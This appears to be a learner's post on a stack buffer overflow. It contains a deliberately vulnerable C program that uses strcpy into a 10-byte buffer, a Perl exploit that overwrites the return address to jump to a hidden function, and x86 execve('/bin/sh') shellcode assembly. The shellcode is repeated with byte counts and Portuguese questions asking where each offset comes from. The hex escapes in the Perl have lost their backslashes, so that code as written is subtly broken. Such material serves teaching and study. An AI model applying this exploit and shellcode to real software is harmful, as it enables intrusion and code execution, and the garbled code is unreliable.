#include <stdio.h>

int OverflowMe(char *str){

char buffer[10]; //our buffer

strcpy(buffer,str);//the vulnerable command

return 0;

}

int main(int intargc, char *argv[])
{
int pass=0;

printf("You are in vuln.exe now");

OverflowMe(argv[1]); //call the function and pass user input

if ( pass == 1)
{
GoodPass(); //this should never happen
} else {
printf("Lozer!!!");
}

printf("Quitting vuln.exe");

return 0;
}


int GoodPass(){

printf("******* You are IN! *******");
printf("******* This is GoodPass() executing *******");

}

#Here is the code of the exploit ( exploit.pl )
#!/usr/bin/perl

my $junkdata="x41"x28;# create the 28 byte length junk data

my $ret="x62x13x40x00";# our evil EIP goes here

my $exploit=$junkdata.$ret;# merge them into one evil string

print "Sending exploit....

";

system("vuln.exe", $exploit); # execute vuln.exe with the evil argument string


print "
Done!
";

popl %esi                               
movl %esi, array-offset(%esi)           
movb $0x0, nullbyte-offset(%esi)        
movl $0x0, null-offset(%esi)            
movl $0xb, %eax                         
movl %esi, %ebx                         
leal array-offset(%esi), %ecx          
leal null-offset(%esi), %edx            
int $0x80                               
movl $0x1, %eax                        
movl $0x0, %ebx                        
int  $0x80                              
/bin/sh vem aqui

jmp offset-para-chamar               # 2 bytes <--------------------- de onde vem ¿ 
popl %esi                                  # 1 byte  <--------------------- de onde vem ¿
movl %esi, array-offset(%esi)       # 3 bytes <---------------------de onde vem ¿
movb $0x0, nullbyte-offset(%esi)  # 4 bytes <---------------------de onde vem ¿
movl $0x0, null-offset(%esi)         # 7 bytes <---------------------de onde vem ¿
movl $0xb, %eax                        # 5 bytes <---------------------de onde vem ¿
movl %esi, %ebx                        # 2 bytes <---------------------de onde vem ¿
leal array-offset(%esi), %ecx       # 3 bytes <---------------------de onde vem ¿
leal null-offset(%esi), %edx         # 3 bytes <---------------------de onde vem ¿
int $0x80                                  # 2 bytes <---------------------de onde vem ¿
movl $0x1, %eax                        # 5 bytes <---------------------de onde vem ¿
movl $0x0, %ebx                        # 5 bytes <---------------------de onde vem ¿
int  $0x80                                 # 2 bytes <---------------------de onde vem ¿
call offset-para-popl                   # 5 bytes <---------------------de onde vem ¿
/bin/sh vem aqui                        # 5 bytes <----------------------de onde vem ¿